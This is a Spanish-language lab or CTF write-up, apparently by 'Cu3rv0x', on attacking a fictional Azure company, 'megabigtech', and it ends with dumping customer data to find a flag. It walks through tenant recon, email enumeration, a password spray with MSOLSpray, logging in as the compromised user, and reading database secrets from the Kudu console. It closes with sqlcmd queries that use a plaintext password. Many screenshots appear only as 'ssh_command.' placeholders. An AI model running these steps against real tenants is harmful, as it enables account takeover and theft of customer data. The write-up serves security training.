Azure Recon to Foothold and Profit

Azure Recon to Foothold and Profit


Azure

Vemos si la empresa usa Azure AD o Entra ID

https://login.microsoftonline.com/getuserrealm.srf?login=megabigtech.com&xml=1

ssh_command.

Y si lo quieres automatizar lo puedes hacer asi

ssh_command.

Corremos el siguiente comando

cloud_enum -k "mega big tech" --disable-aws --disable-gcp

ssh_command.

python3 oh365userfinder.py -d megabigtech.com

ssh_command.

Nos dirigimos a https://login.microsoftonline.com/megabigtech.com/.well-known/openid-configuration

ssh_command.

Lo podemos conseguir tambien con lo siguiente:

Install-Module AADInternals Import-Module AADInternals

Get-AADIntTentantID -Domain megabigtech.com

Get-AADIntLoginInformation -Domain megabigtech.com

ssh_command.

Invoke-AADIntReconAsOutsider -DomainName megabigtech.com | Format-Table

ssh_command.

python3 azsubenum.py -b megabigtech --thread 10

Genera un archivo report.html

ssh_command.

Parece que el dominio es azurewebsites.net. Otros dominios que tambien son reconocidos son .blob.core.windows.net o .vault.azure.net

Nos dirigimos a https://megabigtech.azurewebsites.net/

ssh_command.

Y vemos que el patron a seguir de la compania para los correos es nombre.apellido@megabigtech.com

ssh_command.

Para moder automatizar esto podemos usar una herramienta llamada username-anarchy

username-anarchy --input-file users.txt --select-format first.last > mega_users.txt

ssh_command. yuki.tanaka@megabigtech.com yamamoto.sota@megabigtech.com takahashi.hina@megabigtech.com kato.sara@megabigtech.com

Creamos un archivo mega_users.txt con los correos de arriba.

Para poder hacer esto abrimos vim y ponemos lo siguiente:

%s/$/#megabigtech.com/

ssh_command.

bc megauser.txt

ssh_command.

python 0h365userfinder.py -r mega_users.txt -w valid_megaemails.txt

ssh_command.

python3 omnispray.py --type enum -uf megausers.txt --module o365_enum_office

ssh_command.

Vemos que la famosa yuki.tanaka@megabigtech.com es la unica que se pudo validar.

Import-Module MSOLSpray .ps1

Invoke-MSOLSpray -UserList user.txt -Password “MegaDev79$” -Verbose

ssh_command.

Yo siempre trato de limpiar todo antes de iniciar sesion.

az logout

Disconnect-AzAccount

az login -u yuki.tanaka@megabigtech.com -p 'MegaDev79$'

az account show

ssh_command.

Connect-AzAccount -AccountId "yuki.tanaka@megabigtech.com"

ssh_command.

Introducimos la contrasena por el formulario de la pagina web.

ssh_command.

Si queremos adquirir mas informacion del usuario.

Install-Module -Name Az -Repository PSGallery -Force Import-Module -Name Az Install-Module -Name Microsoft.Graph -Scope CurrentUser -AllowClobber -Force Import-Module -Name Microsoft.Graph

Install-Module -Name Az -Repository PSGallery -Force Import-Module -Name Az Install-Module -Name Microsoft.Graph -Scope CurrentUser -AllowClobber -Force Import-Module -Name Microsoft.Graph

Get-AzADUser

ssh_command.

Get-AzADUser -UserPrincipalName ‘yuki.tanaka@megabigtech.com’ | fl

ssh_command.

Nos damos cuenta que el usuario es un microsoft.graph.user

ssh_command.

ssh_command.

Y vemos que es parte de estos grupos

ssh_command.

ssh_command.

Get-AzResource

ssh_command.

Get-AzRoleAssignment -SignInName yuki.tanaka@megabigtech.com

ssh_command.

Get-AzWebApp -Name megabigtechdevapp23 | select enabledhostnames

ssh_command.

Nos dirigimos a la pagina web http://megabigtechdevapp23.azurewebsites.net

ssh_command.

Podemos ver Kudu.

Nos dirigimos a https://megabigtechdevapp23.scm.azurewebsites.net/

ssh_command.

Le damos click a Debug-console->Powershell

env | grep -i -e "DB"

ssh_command.

sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P 'V%#J3c5jceryjcE' -d customerdevneddb -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'"

ssh_command.

sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P 'V%#J3c5jceryjcE' -d customerdevneddb -Q "SELECT * FROM CustomerData"

ssh_command.

Bajamos Customer.csv y buscamos el flag.

ssh_command.

© 2025 Cu3rv0x